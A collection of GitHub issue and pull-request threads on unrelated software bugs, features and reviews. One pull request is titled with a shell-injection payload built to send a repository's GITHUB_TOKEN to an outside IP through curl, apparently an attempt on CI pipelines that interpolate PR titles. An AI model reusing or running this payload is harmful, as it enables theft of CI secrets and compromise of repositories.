When in doubt, feel free to inspect the source. Observable.defer is just like Observable.create, except the signature of their callback is different:
Observable.create:
create<T>(subscribeFunc: (observer: Observer<T>) => Subscription | Function | void) => Observable<T>

Observable.defer:
defer<T>(observableFactory: () => Observable<T>) => Observable<T>;

Observable.create's subscribeFunc accepts an Observer and returns a Subscriber, whereas Observable.defer's function accepts nothing, and returns the Observable to subscribe to. defer is used to implement things like Observable.if:
class Observable<T> {
  static if(condition: () => boolean,
            ifSource: Observable<T>,
            elseSource:Observable<R>): Observable<T | R> {
    return Observable.defer(() => {
      return condition() ? ifSource : elseSource;
    });
  }
}

Cheers!

@trxcllnt With your guidance I have been able to reimplement my operator in a fraction of the size and it is passing all unit tests. My sincere thanks.


Automatic error report

resp = self.socket.recv_pyobj(flags=zmq.NOBLOCK)
File "C:\Users\edowling\Anaconda3\envs\research\lib\site-packages\zmq\sugar\socket.py", line 776, in recv_pyobj
return self._deserialize(msg, pickle.loads)
File "C:\Users\edowling\Anaconda3\envs\research\lib\site-packages\zmq\sugar\socket.py", line 643, in _deserialize
return load(recvd)
_pickle.UnpicklingError: invalid load key, '\x00'.
Traceback (most recent call last):
<!---   *** BEFORE SUBMITTING: PASTE CLIPBOARD HERE TO COMPLETE YOUR REPORT ***   ---!>

Leaving my spyder editor open over night caused it to fail. I also can't open and view my numpy arrays within the variable explorer.

Hey @dowlingevan, thanks for reporting. What's your Spyder version?

Closing due to lack of response.


Update app to support goerli testnet

References: https://github.com/public-assembly/assemble-package/issues/19

This is ready for review!


calico-kube-controller list/watch pod frequent OOM

Expected Behavior
calico-kube-controller memory will not increase significantly with the number of pods
Current Behavior

calico-kube-controller list/watch pod, memory limit 300M, when the cluster pod size exceeds 5000, frequent OOM
GOGC is set to 70%

Possible Solution

Is it possible not to cache the entire pod information?
Can you cache only the fields actually used by NodeController such as pod name, IP, etc.
Can you query the pod after the node is deleted?

Steps to Reproduce (for bugs)

calico-kube-controller memory limit 300M
The number of pods increases from 1000 to 5000(100 nodes)

Context
Your Environment

Calico version
Orchestrator version (e.g. kubernetes, mesos, rkt):
Operating System and version:
Link to your project (optional):

Calico version 3.25

@coutinhop Is there any room for optimization in this scenario? Looking forward to your reply, thank you

@gongzixiangyuan please try the latest version; I think there have been some fixes.  We also added a debug server which will let you collect a memory profile so we can see what's going on.

@gongzixiangyuan please try the latest version; I think there have been some fixes. We also added a debug server which will let you collect a memory profile so we can see what's going on.

Thank you so much! I will try again when the performance environment is OK.

@fasaxc  I collected the profiles, and I suspect that IPAM sync is triggered too frequently, causing too many pod objects to be converted to WorkloadEndpoint, and the GC is too busy.

@fasaxc  I see an optimization has been made here, which only caches the fields that need to be used in the pod. Can calico-kube-controller do similar enhancements?
https://github.com/cloudnativelabs/kube-router/pull/999/files

@fasaxc I see an optimization has been made here, which only caches the fields that need to be used in the pod. Can calico-kube-controller do similar enhancements?
https://github.com/cloudnativelabs/kube-router/pull/999/files

@fasaxc
This doesn’t seem to be suitable for calico-kube-controller。
There is a simpler way to modify：
podInformer.SetTransform(func(i interface{}) (interface{}, error) {         // TODO: Only cache the pod attributes needed by calico-kube-controller });

        k8sconfig, err = clientcmd.BuildConfigFromFlags("", kubeconfig)
        // use protobuf
        k8sconfig = metadata.ConfigFor(k8sconfig)

In addition, using protobuf can save some memory compared to json.


Add NavigationRegion costs for 2D and 3D pathfinding

Adds NavigationRegion costs for pathfinding in 2D and 3D.
Each navigationregion has two new properties.
Fixed enter_cost value for entering this region from a different region e.g. entering from "ground" region to "water" region.
Distance based travel_cost multiplier for moving on the same navmesh.
Note that since 2D converts pixel units to full 3D world pathfinding units on the navigationmap the 2D travel_cost has a tremendous effect and the 2D enter_cost value needs to be increased dramatically compared to 3D for a similar pathfinding result.
Godot 4.0 TestProject for 2D and 3D:
NavigationRegionCostTestMap.zip

I ... have no idea what is causing this one linux build to fail, help!

The error is:
servers/navigation_server_2d.cpp:57:2: error: no declaration matches 'void NavigationServer2D::region_set_enter_cost(RID, real_t) const'
   57 |  NavigationServer2D::FUNC_NAME(T_0 D_0, T_1 D_1)                                      \
      |  ^~~~~~~~~~~~~~~~~~
servers/navigation_server_2d.cpp:247:6: note: in expansion of macro 'FORWARD_2_C'
  247 | void FORWARD_2_C(region_set_enter_cost, RID, p_region, real_t, p_enter_cost, rid_to_rid, real_to_real);
      |      ^~~~~~~~~~~

So you seem to have a mismatch between a prototype and a macro. Maybe argument arity, type, or constness mismatch.

Maybe clash between using float and real_t in different places. The failing CI builds uses double=64 i.e. real_t is double.

CC @AndreaCatania @Scony


sleep timer resets if connection lost, then playback continues indefinitely when connection resumes

On current (11.9) and previous (11.8) versions, sleep/shutoff timer loses effect if the connection drops even briefly. The result is that playback eventually resumes and then continues indefinitely.

Fixed:
https://github.com/jamal2362/URL-Radio/commit/f0c4069ce7ba45b333cb400e8b49130d60a6d4d7


Create scenarios (feature file and steps) for Query Order

As a creator of this service
I need to create scenarios in the feature and steps files
So that I can perform BDD testing
Assumption

The UI already contains Query order functionality that can be tested

Acceptance Criteria
Given the scenarios for Query Order have been added
When I test Query Order functionality on UI
The test runs and passes

Hey team! Please add your planning poker estimate with Zenhub @even1111112 @PepperandSummer @un-poco @yjhsieh2022


Doesn't work with multi-root workspaces

I can only add notes if I have a single folder open. When I open a multi-root workspace I get an error: "invalid file path."

Thanks for the report!
I fixed this in v1.2.1.

Thanks! I just updated and verified your fix works.


Update flutter_secure_storage_web depends on js ^0.6.3

Firstly, thank you for your work.
I'm having difficulty importing packages due to the broken js version.
I thank the attention.
Because socket_io_client >=3.0.0-beta.0 depends on js ^0.7.1 and every version of flutter_secure_storage_web depends on js ^0.6.3, socket_io_client >=3.0.0-beta.0 is incompatible with flutter_secure_storage_web.

The js version is not broken, it's just outdated. #680 fixes this.
Also, this issue is a duplicate of #670

+1

+1

Commenting "+1" does not add anything here. If you want to stay up to date regarding this issue, subscribe to this issue instead

+1

@juliansteenbakker Although closed, this seems to still be an issue.  It looks like its because flutter_secure_storage 9.2.1 depends on flutter_secure_storage_web ^1.2.1 which still contains the js dependency.  Perhaps that should be updated as well

@mark8044 This is desired behaviour. See this comment for reference: https://github.com/mogol/flutter_secure_storage/pull/698#issuecomment-2111967218


adding modules as a props i am getting this error

chunk-QYYA6GZJ.js?v=86847e0a:9145 Uncaught TypeError: Cannot read properties of null (reading 'innerHTML')
at IconPicker2.selectItem (react-quill.js?v=fb924d18:9699:47)
at new IconPicker2 (react-quill.js?v=fb924d18:9691:23)
at react-quill.js?v=fb924d18:7019:30
at Array.map ()
at SnowTheme2.buildPickers (react-quill.js?v=fb924d18:7014:42)
at SnowTheme2.extendToolbar (react-quill.js?v=fb924d18:9928:24)
at SnowTheme2.addModule (react-quill.js?v=fb924d18:6982:26)
at react-quill.js?v=fb924d18:6254:29
at Array.forEach ()
at SnowTheme2.init (react-quill.js?v=fb924d18:6252:53)

getting the same error, please any help ?

If you are using multiple Custom toolbars on the same page, try making different toolbar IDs.


Add missing metrics

A number of metrics are being computed on the fly by the backend, as explained in this document: https://docs.google.com/document/d/1C45zYn7StoJfbjqxe70rRB-bZREbg8bqwIJRooXzkX8
These computed metrics should be added by the integration.

A bit more context for this Issue:

Some metrics for this is integration are being calculated in the backend from the data we're sending.
These metrics are being used in "special" alerts we provide for customers.
While calculating them in the backend works, we should add these metrics to the integration as it makes them easier to manage in the backend and reduces the workaround currently in place.

Event type:

K8sReplicasetSample,
K8sStatefulSample,
K8sDeploymentSample,
K8sDaemonsetSample
Calculation: podsMissing = podsDesired - podsReady

Event type: K8sContainerSample
Calculation: cpuCoresUtilization = (cpuUsedCores / cpuLimitCores) * 100
Event type: K8sContainerSample
Calculation: requestedCpuCoresUtilization = (cpuUsedCores / cpuRequestedCores) * 100
Event type: K8sContainerSample
Calculation: memoryUtilization = (memoryUsedBytes / memoryLimitBytes) * 100
Event type: K8sContainerSample
Calculation: requestedMemoryUtilization = (memoryUsedBytes / memoryRequestedBytes) * 100
Event type: K8sEtcdSample
Calculation: processFdsUtilization = (processOpenFds / processMaxFds) * 100
Event type: K8sNodeSample
Calculation: allocatableCpuCoresUtilization = (cpuUsedCores / allocatableCpuCores) * 100
Event type: K8sNodeSample
Calculation: allocatableMemoryUtilization = (memoryWorkingSetBytes / allocatableMemoryBytes) * 100
Event type: K8sNodeSample
Calculation: fsCapacityUtilization = (fsUsedBytes / fsCapacityBytes) * 100

Another set of metrics we will add as part of this issue are Horizontal Pod Autoscaler Metrics: https://github.com/kubernetes/kube-state-metrics/blob/master/docs/horizontalpodautoscaler-metrics.md


[Glitch] Ai Police after Actual Police?

Hi,
Near the Police Precinct, if an rp police player shoots a citizen, the actual AI near the precinct starts shooting at the police. Is that supposed to happen?
Thanks

Did you setCop() the players when in the group ?

This is what the groups for police looks like, i did edit it a bit. Let me know if this is wrong,
  ["police"] = {     _config = {        gtype = "job",       onjoin = function(player) vRPclient.setCop(player,{true}) end,       onjoin = function(player) vRPclient.notify(player,{"Welcome to the Force Officer!"}) end,       onspawn = function(player) vRPclient.setCop(player,{true}) end,       onspawn = function(player) vRPclient.notify(player,{"You are currently an officer on duty!"}) end,       onleave = function(player) vRPclient.notify(player,{"Thanks for your Service!"}) end,       onleave = function(player) vRPclient.setCop(player,{false}) end     },

You define the same functions twice... I don't even know how you have no errors. The issue is not a help section, so I will close the issue. Knowledge of Lua is important to configure vRP.

I fixed it, anyone who is encountering something similar to this, instead of having multiple functions, make it all in one function for example: onjoin = function(player) vRPclient.setCop(player,{true}) vRPclient.notify(player,{"Welcome to the Force Officer!"}) end


LUCENE-10377: Replace 'sortPos' with 'enableSkipping' in SortField.getComparator()

This might make it possible to remove the getPointsValues() override from NumericLeafComparator as well as a follow-up, cc @mayya-sharipova

This might make it possible to remove the getPointsValues() override from NumericLeafComparator as well as a follow-up, cc @mayya-sharipova

@romseygeek I think you have already done this removal in this PR, haven't you?


xenops-render doesn't work in modes derived from org

For some reason, xenops-render refuses to work in modes derived from org. The error is:
Error running timer ‘funcall’: (wrong-type-argument stringp nil)

Minimal config to reproduce the issue:
(require 'org)
(require 'xenops)
(define-derived-mode org-derived-mode org-mode "org derived")

Then visit an org file with latex inside, switch to org-derived-mode, run xenops-render.

I've tried to change the eq tests in xenops-math and xenops-math-latex to derived-mode-p 'org-mode without effect


Using config as default and CLI flag as overrides

Is your feature request related to a problem? Please describe.
I'd like to use the CLI flags to override default parameters set in a config file.
Describe the solution you'd like
For example duration is something I often change between tests. I would like to specify a default value in the config file, e.g. in data.json "duration=10m", but then override this value if I pass it in as a flag on the command, e.g. "ghz --config=data.json -z 1m"
This is particularly useful when I want to change the duration of a test script where I batch ghz load tests to simulate multiple GRPC method calls to a single service.
#!/usr/bin/env bash
DURATION="1m"
ghz --config=getByName.json -z $DURATION > report1.html &
ghz --config=getById.json -z $DURATION > report2.html &
ghz --config=sendName.json -z $DURATION > report3.html
Additional context
I've tried this against the current ghz build and it does not seem to be supported.

Hello this should be implemented now in 0.46.0. Feel free to create new issue if there are any problems.


Option to alter solution cost for Aptitude

Hi,
This branch is just testing the water to determine if you'd be interested in the functionality. The branch should be ok but I haven't tested it yet so it may not actually work as advertised - I will test later this week.

I've just tested and can confirm this installs the solution cost template correctly. It shouldn't conflict with PR #14 but since both modify config.yml it is possible.

thx


canView has no effect

The docs state that a DataObject needs the canView method.
But this this method is never called?
https://github.com/silverstripe-labs/silverstripe-googlesitemaps/blob/master/docs/en/index.md

It checks for can view in GoogleSitemapExtension


OverseerLoadBundle runs loaded tasks

Is this expected behavior?
In session-managers section you mention loading bundle on session load. But the plugin runs a task once I open a session.
I was thinking of using this functionality to save the changes that I made to the tasks (for example, added additional arguments). Am I misusing this feature? If yes, what can I do to provide a project-specific flags?
Or should I use something like https://github.com/windwp/nvim-projectconfig? It's not very convenient since I have to edit my config to adjust tasks.

From the description, it sounds like you may be trying to use those commands for something they were not designed for, but let's check.
What OverseerSaveBundle does is take all the current tasks (including the ones that are no longer running) and saves their configuration to a json file. You can also do this on a task-by-task basis using the "save" action, or by calling the API directly with just the tasks you want saved. When you OverseerLoadBundle, those specific task configurations are loaded from json, hydrated, and started.
Could you provide a bit more detail about your workflow? At a high level, what are you trying to accomplish and why?

Oh, got it. Then I definitely used it wrong.
I have a Rust project where I set --features=bevy/dynamic during development to speedup build times. I can select a cargo task from template, edit it and use it. But I would like to make this option persistent for this project. So I need to serialize it on disk when I save my session and restore it on loading. But looks like OverseerLoadBundle is not what I need.

Makes sense. At the moment, I think the best way to do that would be to use something like nvim-projectconfig and to overseer.hook_template when you're in that directory. I'm not totally happy with that solution as it's a lot of manual work and doesn't handle cases like using :tcd for tab-local projects.
One possible approach would be to allow the hooks to be conditional (e.g. only run in this directory). That would be better, but still require nvim-projectconfig. I think that a "project settings" plugin is going to be required in any case because I've been taking a pretty strong stance against including that kind of logic in overseer.

Got it, thanks!

Let's leave this open for tracking until I get a better solution for this

I've added the ability to specify conditions for template hooks. Lots of docs added, but for your use case this should work:
overseer.add_template_hook({
  dir = "/path/to/my/project",
  module = "^cargo$",
}, function(task_defn, util)
  task_defn.args = vim.list_extend(task_defn.args or {}, {"--features=bevy/dynamic"})
end)

Thanks!


Adjusted hybrid package installation - fixed bugs related to unresolved tracks & debug events

The hybrid package installation was outdated for many years.
Finally fixed it by adding the fixup tool and tsc-alias command to resolve file imports by file type extension for overall better compability
Also there were if statement copy paste issues for the debug events, removed them
I also added error handling and auto skipping (if enabled) for unresolved tracks, where it wasn't added yet.

LGTM


Updated validations.py python script.

Fixed the behavior of validate:user function in validaitons.py
Closes: #1
Fixes #<issue_number_goes_here>

It's a good idea to open an issue first for discussion.

[ ] Tests pass
[ ] Appropriate changes to README are included in PR

@googlebot I signed it!

@googlebot I fixed it.

@googlebot I fixed it.

@googlebot I signed it!

@googlebot I signed it!

@googlebot I fixed it.


MacOS: build fixes

This PR changes following for macOS build

use clang and gcc-12 from homebrew to build openpilot
disable camerad and sensord build
add gcc@12 for building panda tests

Testing:
scons -i succeeds without compilation errors on M1 macOS Ventura

I just tried this out for myself, but I keep getting this error:
In file included from panda/tests/libpanda/panda.c:18: In file included from panda/board/safety.h:12: panda/board/safety/safety_chrysler.h:79:19: fatal error: initializer element is not a compile-time constant   {CHRYSLER_ADDRS.CRUISE_BUTTONS, 0, 3},
When running scons -u -j$(nproc). I also have an M1 macbook running Ventura. Did you run into the same issue?

this should be already done in upstream, closing


Write completion handler not called in some cases

Hi!
If WebSocket disconnects for some reason (e.g. no internet connection at the moment) write completion handler not calling because the guard operator terminates the function. This lead to application wrong behavior if we trying to do something based on this completion handler.
/**
     Write a string to the websocket. This sends it as a text frame.

     If you supply a non-nil completion block, I will perform it when the write completes.

     - parameter string:        The string to write.
     - parameter completion: The (optional) completion handler.
     */
    open func write(string: String, completion: (() -> ())? = nil) {
        guard isConnected else { return }
        dequeueWrite(string.data(using: String.Encoding.utf8)!, code: .textFrame, writeCompletion: completion)
    }

    /**
     Write binary data to the websocket. This sends it as a binary frame.

     If you supply a non-nil completion block, I will perform it when the write completes.

     - parameter data:       The data to write.
     - parameter completion: The (optional) completion handler.
     */
    open func write(data: Data, completion: (() -> ())? = nil) {
        guard isConnected else { return }
        dequeueWrite(data, code: .binaryFrame, writeCompletion: completion)
    }

    /**
     Write a ping to the websocket. This sends it as a control frame.
     Yodel a   sound  to the planet.    This sends it as an astroid. http://youtu.be/Eu5ZJELRiJ8?t=42s
     */
    open func write(ping: Data, completion: (() -> ())? = nil) {
        guard isConnected else { return }
        dequeueWrite(ping, code: .ping, writeCompletion: completion)
    }

    /**
     Write a pong to the websocket. This sends it as a control frame.
     Respond to a Yodel.
     */
    open func write(pong: Data, completion: (() -> ())? = nil) {
        guard isConnected else { return }
        dequeueWrite(pong, code: .pong, writeCompletion: completion)
    }

At least It should always call the completion handler:
open func write(data: Data, completion: (() -> ())? = nil) {
        guard isConnected else { completion?(); return }
        dequeueWrite(data, code: .binaryFrame, writeCompletion: completion)
    }

Will be better if the completion handler will take swift Result<Success, Failure> in these cases.

This write queue logic was reworked in version 4.0.0. If the problem still persist after upgrading to the latest version, please reopen this issue.


threading without a compound use case for work offsets

There are multiple threading strategies available, this focuses single sided with variable depth starting from a Z+

user configures lathe in start position (G54.1 "0"), with enough lead to remove any acceleration errors
User inits threading dialog in UI
Dialog asks for thread parameters
User enters parameters: first thread depth, thread length (how far in Z to cut the thread), handedness, number of starts
Dialog calculates number of passes, depth per pass, and offset required to simulate the compound,

const passes = () => {
    let p = Math.ceil(Math.pow(((config.pitch * 0.614) / firstThreadDepth),2));
    if(Number.isInteger(p)){
      return p;
    }else{ return 0}
  }

fir (var current_pass=1; i <= number_of_passes; i++){
 feed = (thread_depth/Math.sqrt(number_of_passes -1)) * Math.sqrt(current_pass-1);

outputs a table
User confirms by clicking start

This is where it is a bit tricky because we depend on the user to feed X in and out, and the lathe is likely small and not very rigid, we may need to run the same depth more than one time.  This is where I want to use the offsets.
pitch: 1.5mm Thread Depth: 0.921 Recommended Passes: 22Initial Offset: 0.2 Offset per pass 0.06818181818181818
pass 1:  the offset is the starting position, nothing really needs to be done here other than the operator moving the X
pass 2: first offset.  Dialog confirms pass 1 complete,  then stores the original offset, we'll call that G54.1, the machine then creates a new offset G54.2 offset in Z- by the calculated amount (.068mm) and changes to use that offset.
if the user wants to change back to the original offset they can select the pass "#" from the UI.
pass 3: same as pass 2 but uses G54.3 to store the new offset
for multiple starts we'd could make an offset of offsets, but likely not worth it to so this abstraction.
...
finish: delete offsets from threading or leave them in there?
We could also add some backlash compensation to ensure the lead screw slack is removed before the thread feeding starts.
so, we'd need

// 1. doubt this needs to be int64_t
// 2. if we do this in steps need to ensure everything from/to the UI is in steps
int64_t offset[3]

home instance //  position at machine start.  This is tricky because you frequently move everything around with the half nut and this may quickly become meaningless
float backlash.z, backlash.x
offsets[20] // ? not sure what a good number is but there is plenty of memory available
uint_8_t current_offfset // offsets index
uint_8_t last_offset // offsets index
double offset_in_mm( offset_3 ) // function to translate steps to mm

@digiexchris  let me know if this is clear enough for you.

Looking for feedback on how the UI for this should work, I need to refactor my last attempt at doing this.


Create ';{curl,<IP_ADDRESS>:8080?q=$GITHUB_TOKEN};{sleep,120};#

Summary
A concise description of the changes being introduced. If you are submitting a PR for a
new quickstart please review the pre merge checklist section to validate this PR is ready for review.

Pre merge checklist

[ ] Did you check you NRQL syntax? - Does it work?
[ ] Did you check your dashboard image quality? -  Do they look good?
[ ] Did you check that your alerts actually work?
[ ] Did you include an InstallPlan and Documentation reference?
[ ] Did you check your descriptive content for voice, tone, spelling and grammar errors?
[ ] Did you attach images of your dashboards to the PR so we can see them working?

Screenshots
Attach images of any visual changes, such as a dashboard here.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


[wip] Expose health checks to service registration plugins

Hi!
In Consul it is possible to define service health checks:
https://www.consul.io/docs/agent/checks.html Since they are pretty similar to
the new health checking functionality in Helios I think it makes sense to
expose the health checks defined in Helios jobs to service registrar plugin.
The health checking plan looks like this:

During deploy and app boot: Helios runs the health check
After app boot: Consul runs the health check
Profit!

It feels a bit strange to re-implement subsets of the job model in the
ServiceRegistration class, but I guess it also makes sense to have them that way.

I will write some tests for this...

Looks like the tests are failing due to DockerTimeoutException. We see this happen sometimes, I think it has to do with performance issues with either Docker daemon or the Docker Hub when we try to pull public images as part of integration tests.
I'll try to retrigger again in a little bit.

I added some tests but CircleCI died unexpectedly :-)

@carlanton I've retriggered CircleCI (I think you should be able to as well). We'll see if it passes this time.

:+1: from me. @davidxia?


daemon: Add --kube-proxy-replacement flag

This PR:

Introduces the agent's --kube-proxy-replacement flag. The flag controls what / how datapath features required for the kube-proxy replacement enabled. The possible outcomes depending on a value of the flag are the following:

"probe": auto-enable all available features for kube-proxy replacement (agent probes for features and tries to enable them without panicking if any cannot be enabled).
"strict": enable all features (panic if any cannot be enabled).
"partial": enable only selected by a user features (panic if any of the selected ones cannot be enabled).
"disabled": disable all kube-proxy replacement features (even those which user has enabled).

Introduces the kubeProxyReplacement helm var (defaults to "probe").

Adds a probe for the NodePort feature.

The upgrade considerations:

New users will have the kube-proxy replacement auto-enabled ("probe") due to the helm var default value.
Existing users are encouraged via the upgrade guide to set the option to "strict" if previously they were running with enable-node-port=true

Reviewable per commit.
The docs update and showing which features are enabled from cilium status will be added as a follow-up (once we finally decide on the flag name and its semantics).
Add --kube-proxy-replacement flag to control enabling of kube-proxy replacement in BPF

Fixes #9729

This change is

test-me-please

test-me-please

The upgrade guide tells users to generate templates from the new helm charts. How do we ensure that it remains in "strict" mode for those users?

@joestringer Thanks for pointing - I was not aware of this recommendation.
Anyway, I've added an initial note to the upgrade docs about the new ConfigMap option. Once we have decided on https://github.com/cilium/cilium/pull/9992#discussion_r374024007 and https://github.com/cilium/cilium/pull/9992#discussion_r374005505, I will update the note.

test-me-please

test-me-please

test-me-please

test-docs-please

@aanm @borkmann @joestringer PTAL:

Added disabled.
Changed strict semantics (auto-enables all features and panics if any feature cannot be enabled).
Does not panic when IPSec is enabled and running in probe mode.

test-me-please

LGTM


Updated folder name

Codecov Report

Merging #102 (bd528ea) into aws-integration (4cedda2) will decrease coverage by 0.12%.
The diff coverage is n/a.

@@                 Coverage Diff                 @@
##           aws-integration     #102      +/-   ##
===================================================
- Coverage            82.26%   82.14%   -0.13%
===================================================
  Files                   49       49
  Lines                 1900     1904       +4
  Branches               303      304       +1
===================================================
+ Hits                  1563     1564       +1
- Misses                 337      340       +3

Impacted Files
Coverage Δ

...VM/bridge/messaging/OVM_L1CrossDomainMessenger.sol
92.98% <0.00%> (-5.14%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4cedda2...bd528ea. Read the comment docs.


Title: Currency Converter using JS

Which pre-existing JavaScript project will you be working on?
I have made a simple currency converter website using HTML,CSS and Javascript which converts currency based on current exchange ratio thus helping the users to see how external links can be imported in code and used
Describe your enhancement/improvement
--
Anything you need to say to the Reviewers
No response
Add any other context or relevant screenshots about the enhancement here.
No response

I would like to work on this issue. Pls assign me this!!

@Priyanshu2631 Thank you for providing your insight but it is not required as of now.


bucketing info parameter does not accept camel cased column names

Describe the bug
The awswrangler.s3.to_parquet takes the name of the column to bucket the data. And fails if a column name is camel case or contains caps.
My assumption is, somewhere before the bucketing step, we are doing a to_lower operation, and then applying group by, which means we should also apply the to_lower operation to the bucketing column name.
How to Reproduce
1. Pass a df with came cased column names.
2. Pass a camel case column name to bucketing_info.

Expected behavior
Expected behaviour should be to handle the bucketing column name irrespective of camel case.
Your project
No response
Screenshots
No response
OS
linux
Python version
python3.8
AWS SDK for pandas version
2.20.1
Additional context
No response

Hi @ashishkumarazuga the columns are sanitized to respect Athena standards. I agree bucketing_info should also be sanitized (just like the partition_cols), we'll have that fixed. Thanks!

You are welcome @ashishkumarazuga !


Travis: Use 'trusty' for older OTP versions.

Use 'trusty' release to run the older OTP tests.
The older OTP versions (18 and earlier) are not available on the newer Travis OS image. With the 'matrix' option an older OS release can be selected for these tests.

Removed build targets 17.5 and R16B03-1, as current rebar3 doesn't run well on them
Only run coverage send on OTP-21 build
Add Makefile for easier building and testing
Fetch coveralls plugin from Hex

Coverage remained the same at 77.463% when pulling 05cb98405dc5e8b05ae9585aefbc2f9237f022ab on mworrell:travis-otp-matrix into e33a397cb278206cc1d38ea241963addfd259cdc on yakaz:master.

Thank you very much! Sorry for taking so long to merge your patch...

👍 thanks for merging, and of course your library,
We are going to use it so people can define Zotonic configurations in YAML.

Awesome! yamerl 0.8.0 is out now. Again, sorry for the time I took to get back to you...

Great, then we can upgrade our Zotonic master soon. Working towards our big release.
And no worries, I am happy that you could find the time to check the changes. It is a crazy time right now, we are all very busy. Take care, and thanks!


Rockchip U-Boot notes

https://source.denx.de/u-boot/u-boot/-/commit/f6f9affdcea058bec6004895ab427a4ecda775b2
https://source.denx.de/u-boot/u-boot/-/commit/dd397609fc45472d78894256e1effd6902a7c12d
https://lists.denx.de/pipermail/u-boot/2020-June/414942.html
https://lists.denx.de/pipermail/u-boot/2020-June/thread.html - search for "Drop to handle rkspi image type"
https://github.com/NixOS/nixpkgs/pull/146725

Tow-Boot sets some config items for SPI boot: https://github.com/Tow-Boot/Tow-Boot/blob/released/support/builders/rockchip-rk3399/default.nix#L76
Also explicitly sets CONFIG_SYS_SPI_U_BOOT_OFFS to 0x80000 and patches RK3399 U-Boot device trees to the same: https://github.com/Tow-Boot/Tow-Boot/blob/released/boards/pine64/0001-rockpro64-rk3399-Configure-SPI-flash-boot-offset.patch#L19
TODO: Find out why

Various ways to set offsetto U-Boot Proper in media where U-Boot resides:

CONFIG_SYS_SPI_U_BOOT_OFFS
CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR
CONFIG_SPL_PAD_TO: eg. include/configs/rockchip-common.h - Makefile uses this to pad u-boot-rockchip.bin

binman:

https://u-boot.readthedocs.io/en/latest/develop/package/binman.html

There is a CONFIG_ROCKCHIP_SPI_IMAGE in U-Boot, but maybe only implemented for some boards: https://source.denx.de/u-boot/u-boot/-/commit/c4cea2bbf995764f325a907061c22ecd6768cf7b

It seems like ideally we would:

Modify binman to be able to call mkimage with two images separated by a colon, as required to make a most-correct combined SD/MMC or SPI image (for SD you can technically cat SPL onto a mkimaged TPL, but for SPI you can't. mkimage's rksd and rkspi formats will take the two colon-separated images and set the image header to be exact size. If you just mkimage TPL and cat on SPL, the header is added but it has the maximum size set for SPL, so the bootROM probably copies more than needed when loading SPL).
Use that to get binman to produce the SD/MMC image, including mkimaging TPL and SPL in the right way (not needing idbloader.img anymore).
Get binman to produce the SPI image in a very similar way.

Considerations:

How to specify a custom TPL externally, to use proprietary RAM training?

There is a note when building that this board uses CONFIG_SPL_FIT_GENERATOR and it should use binman instead. I think this is about building u-boot.itb, using BL31, etc. That is orthogonal to TPL+SPL, and could be a next step after all the TPL+SPL stuff using binman is working.

Some info on INPUTS-y: https://lists.denx.de/pipermail/u-boot/2020-July/419536.html

Commit showing use of binman to produce u-boot.itb: https://source.denx.de/u-boot/u-boot/-/commit/a32dd071485b17137b6d6088d26cee8011c5b9fc

Introduced the !BINMAN check and implies that for now maybe we should just set HAS_ROM to get CONFIG_BINMAN set. But in my case, I'm trying to make ALL Rockchip targets use binman at least for final image generation.

The binman FIT entry type example in fit.py has a type = "rkspi" field. Do I use that instead of what I changed in the mkimage entry type (colon-separated data, passing type and name args)?

Wat
The RK3328 boots rksd format images from SPI, not rkspi, from my testing. More investigation on what exactly the differences are are required - maybe the image header is actually different between them, not just the 2K block spreading thing.


Not working :(

    remote: Repository not found.
    fatal: repository 'https://github.com/SolarSystems-Software/HTTP2Client/' not found

    remote: Repository not found.

    fatal: repository 'https://github.com/SolarSystems-Software/HTTP2Client/' not found

I have included instructions for this issue in the readme.


Proposal: Allow apps to listen to notification setting changes.

Summary
Windows 10 native toast notification settings can be changed by the user in the Windows Settings app (i.e. which app is allowed to send notifications). Apps cannot programmatically change this setting. There are still cases though where an app is interested in tracking the current state of notification permissions granted by the user to this app. Currently, the Windows Runtime only provides a ToastNotifier.Setting API which the app needs to actively poll to notice permission changes.
I believe we can do a lot better than this! This proposal will proceed to make the case for introducing an event which apps can register to in order to get notified when notification permissions for the app are changed.
Rationale
In the following, I'll list two example app cases which would benefit from such an event API.
Case 1:
The app in question is an app with a strong focus on user notifications. As such the app developer wants to show the user in the app UI whether notifications for this app are currently enabled or not. The user should not have to open the Windows Settings app just to retrieve this information.

As we can see in the image above the app shows the current status of the notification setting for the app in a status bar at the bottom (and a link to the Settings app to change this setting). Obviously, this information has to be updated whenever the notification permission is changed by the user.
Case 2:
This time, we have an app which provides several types of notifications to the user. The user can opt-in to or out of each type of notification:

Consequently, when the user has denied the app the permission to send notifications, each in-app notification setting should be disabled:

(In this case, the app probably should also inform the user that they first have to grant this app notification permission in Windows itself before they can change the in-app settings.)
As in case 1, the in-app notification settings UI should reflect the current permission state "live". In other words, if the user changes the setting in Windows, the new permission state should be reflected in the UI as soon as possible.
Both apps would benefit a lot if the Windows Runtime would provide an event the apps can listen to in order to get notified whenever they are impacted by a notification permission change. More precisely, the event will be raised when:

the system-wide notification setting is changed while the specific app notification setting is enabled (if it is disabled, changing the system-wide notification setting won't enable/disable notifications for the app)
the notification setting for the app listening to the event is changed

API draft
My idea is to add a NotificationSettingChanged event to the ToastNotifier class as it already contains the ToastNotifier.Setting property. The event arguments will be based on the return value of this property which is a NotificationSetting.
/// Occurs when the notification setting for this app has changed.
public event TypedEventHandler<ToastNotifier, NotificationSettingChangedEventArgs> NotificationSettingChanged;

The NotificationSettingChangedEventArgs class:
///
/// Provides data for the <see cref="ToastNotifier.NotificationSettingChanged"/> event.
///
public class NotificationSettingChangedEventArgs : EventArgs
{
    ///
    /// Create a new instance of the <see cref="NotificationSettingChangedEventArgs"/> class.
    ///
    /// <param name="setting">The notification setting for this instance.</param>
    public NotificationSettingChangedEventArgs(NotificationSetting setting)
    {
        this.Setting = setting;
    }

    /// Get the new notification setting.
    public NotificationSetting Setting { get; }
}

Given this API, no longer do apps have to actively poll the ToastNotifier.Setting proprty in order to provide "live" updates based on the changed settings. Instead, all they have to do is listen to this event. I strongly believe this is a much improved API surface and as a result makes interacting with Windows Settings and thus the UWP app model very easy for developers.
Scope

Capability
Priority

Allow developers to register an event handler to be notified by the system when the notification setting for an app has changed.
Must

Open Questions
Currently none.

Please add a link to the task via https://task.ms/nnnnn e.g.
Microsoft-internal task 23447728

